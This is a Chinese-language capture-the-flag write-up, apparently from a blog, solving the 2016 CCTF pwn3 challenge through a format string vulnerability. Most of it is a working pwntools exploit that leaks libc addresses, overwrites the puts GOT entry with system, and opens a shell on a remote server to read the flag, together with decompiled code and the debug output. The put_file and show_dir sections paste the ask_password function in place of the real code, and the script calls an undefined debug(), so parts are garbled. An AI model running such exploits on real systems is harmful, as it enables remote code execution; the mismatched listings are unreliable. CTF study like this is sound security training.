当前位置: 首页 > news >正文

看雪 get_pwn3(2016 CCTF 中的 pwn3)

get_pwn3(2016 CCTF 中的 pwn3) 格式化字符串漏洞

get_pwn3(2016 CCTF 中的 pwn3) 

(1)

motaly@motaly-VMware-Virtual-Platform:~/桌面$ file pwn3
pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=916959406d0c545f6971223c8e06bff1ed9ae74d, not stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=pwn3
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   88 Symbols	  No	0		3		pwn3

(2)

用ida打开,按下F5(如果不行,看看有没有Fn键,Fn+F5)

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int command; // eax
  char s1[40]; // [esp+14h] [ebp-2Ch] BYREF
  int command_1; // [esp+3Ch] [ebp-4h]

  setbuf(stdout, 0);
  ask_username(s1);
  ask_password(s1);
  while ( 1 )
  {
    while ( 1 )
    {
      print_prompt();
      command = get_command();
      command_1 = command;
      if ( command != 2 )
        break;
      put_file();
    }
    if ( command == 3 )
    {
      show_dir();
    }
    else
    {
      if ( command != 1 )
        exit(1);
      get_file();
    }
  }
}

发现先是给了两个函数ask_username和ask_password函数,参数都为s1

char *__cdecl ask_username(char *dest)
{
  char src[40]; // [esp+14h] [ebp-34h] BYREF
  int i; // [esp+3Ch] [ebp-Ch]

  puts("Connected to ftp.hacker.server");
  puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
  printf("Name (ftp.hacker.server:Rainism):");
  __isoc99_scanf("%40s", src);
  for ( i = 0; i <= 39 && src[i]; ++i )
    ++src[i];
  return strcpy(dest, src);
}

这个函数主要是接受一个参数s1,是一个指向字符数组的指针,用于存储处理后的用户名

这里对输入数据的处理是通过循环遍历每个字符,并将每个字符的ASCII码值加1

int __cdecl ask_password(char *s1)
{
  if ( strcmp(s1, "sysbdmin") )
  {
    puts("who you are?");
    exit(1);
  }
  return puts("welcome!");
}

这个函数主要是接受一个参数s1,是一个指向字符数组的指针,用于传入要验证的密码字符串

当传入的字符串为"sysbdmin"时,就会继续运行。

结合看两个函数,我们要输入rxraclhm(每个字母往前移一个),才能使程序运行

(3)

看下面的循环,主要的先是一个目录get_command函数

int get_command()
{
  char s1[12]; // [esp+1Ch] [ebp-Ch] BYREF

  __isoc99_scanf("%3s", s1);
  if ( !strncmp(s1, "get", 3u) )
    return 1;
  if ( !strncmp(s1, "put", 3u) )
    return 2;
  if ( !strncmp(s1, "dir", 3u) )
    return 3;
  return 4;
}

输入get---get_file函数

int get_file()
{
  char dest[200]; // [esp+1Ch] [ebp-FCh] BYREF
  char s1[40]; // [esp+E4h] [ebp-34h] BYREF
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", s1);
  if ( !strncmp(s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, s1) )
    {
      strcpy(dest, i + 40);
      return printf(dest);
    }
  }
  return printf(dest);
}

这函数是获取用户输入的文件名,若存在会返回文件内容,没有此文件名,也会输出,但是�

(这里若我们先查看存在的文件,输出了文件内容,后面输入不存在的文件名,输出的内容是存在文件的文件内容和�)

这里还对敏感文件flag进行了限制,不能直接读取

还因为我们能控制dest的内容,所以存在格式化字符串漏洞

输入put---put_file函数

int __cdecl ask_password(char *s1)
{
  if ( strcmp(s1, "sysbdmin") )
  {
    puts("who you are?");
    exit(1);
  }
  return puts("welcome!");
}

这个函数主要是输入文件名和文件内容

输入dir---show_dir函数

int __cdecl ask_password(char *s1)
{
  if ( strcmp(s1, "sysbdmin") )
  {
    puts("who you are?");
    exit(1);
  }
  return puts("welcome!");
}

这个函数是把我们存储的文件名依次拼接,存于一个字符数组中,最后把拼接好的完整文件名信息输出到标准输出

(应该是因为是链栈,后进先出,所以后输入的在前)

(4)

思路:

这里可以通过格式化字符串漏洞,修改puts函数的got表为system函数,并给一个"/bin/sh",来完成连接

1.先根据程序自定义构造函数put,got,这里我还构造了一个addr函数(获取puts函数地址)

addr函数:

先是利用put输入文件名为/sh,内容为b'%8$s'+p32(got_addr)

(%8$s会尝试读取该p32(got_addr)地址指向的内存内容)

然后通过get输出,获取puts函数地址

2.根据puts函数获取libc基地址,进而得到system地址

3.因为put可以输入,get可以输出(存在格式化字符串漏洞),所以通过这两个函数,得到偏移量

4.构造一条ROP链,通过格式化字符串漏洞把puts函数的got表地址改为system函数地址,并且再次用输入文件名为/bin,文件内容为payload,通过get输出

5.运用dir函数,因为函数会把文件名拼接,所以是"/bin/sh",而函数最后的返回puts函数已经是system函数,所以我们最后执行的是system("/bin/sh")

(5)

编写

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sh = remote('123.57.66.184', 10072)
# sh = process('/home/motaly/桌面/pwn3')
elf=ELF('/home/motaly/桌面/pwn3')

sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")


def put(file_name, file_content):
    sh.recvuntil(b"ftp>")
    sh.sendline(b"put")
    sh.recvuntil(b"please enter the name of the file you want to upload:")
    sh.sendline(file_name)
    sh.recvuntil(b"then, enter the content:")
    sh.sendline(file_content)


def get(file_name):
    sh.recvuntil(b"ftp>")
    sh.sendline(b"get")
    sh.recvuntil(b"enter the file name you want to get:")
    sh.sendline(file_name)

def addr(got_addr):
    put(b'/sh', b'%8$s' + p32(got_addr))     #%8$s会尝试读取该p32(got_addr)地址指向的内存内容
    get(b'/sh')
    function_addr = u32(sh.recv(4))
    return function_addr

puts_addr = addr(elf.got['puts'])
print("puts_addr"+hex(puts_addr))

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
print("libc_base--->"+hex(libc_base))

system_addr = libc_base + libc.dump('system')
print("system_addr--->"+hex(system_addr))

payload = fmtstr_payload(7, {elf.got['puts']:system_addr})
debug(payload)
put(b'/bin', payload)
get(b'/bin')

sh.sendline(b'dir')

sh.interactive()

(4)

连接得到flag

[*] Switching to interactive mode
[DEBUG] Received 0x10d bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000040  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 30  │    │    │    │   0│
    00000050  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000090  20 20 20 20  20 20 20 20  20 20 20 20  04 20 20 20  │    │    │    │·   │
    000000a0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    000000e0  20 20 20 20  20 20 20 3e  20 20 20 20  20 20 20 20  │    │   >│    │    │
    000000f0  20 20 20 20  20 20 20 20  f7 28 a0 04  08 2a a0 04  │    │    │·(··│·*··│
    00000100  08 2b a0 04  08 29 a0 04  08 66 74 70  3e           │·+··│·)··│·ftp│>│
    0000010d
                                                                               0                                                                            \x04                                                                          >                \xf7(\xa*\xa0\x0+\xa0\x0)\xa0\ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x2d bytes:
    b'40_2016ccf_pwn3\n'
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
40_2016ccf_pwn3
bin
dev
flag
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2b bytes:
    b'flag{98beaded-1acb-4d51-a309-9a93a9f02416}\n'
flag{98beaded-1acb-4d51-a309-9a93a9f02416}

相关文章:

  • 25统计建模半自动化辅助排版模板及论文排版格式要求
  • 【Easylive】视频删除方法详解:重点分析异步线程池使用
  • 【HTML-CSS】
  • c++概念—内存管理
  • 【自记录】ubuntu命令行下禁用指定声卡
  • flutter修改 Container 中的 Text 和 Image 的样式
  • 2025年招投标行业的深度变革:洞察趋势,把握未来
  • ES6 新增特性 箭头函数
  • 二分查找算法
  • 飞机的平衡条件及保持平衡的方法
  • C# 操作 Redis
  • 【Prompt实战】结构化 Prompt 高质量模板
  • 4-数据类型
  • 2025年- H1-Lc109-160. 相交列表--java版
  • 前端使用proxy穿透后查看真实请求地址方法
  • WD5208 集成了 500V 高压 MOSFET 和高压启动电路,输出电压为 12V
  • DeepSeek-R1模型现已登录亚马逊云科技
  • C盘优化方法
  • 超卖问题解决方案
  • GitHub 上开源一个小项目的完整指南
  • 浙江网站设计 site/2021年度关键词有哪些
  • 做网站都不赚钱了吗/企业培训课程价格
  • 网店客服外包一般多少钱/上海seo推广公司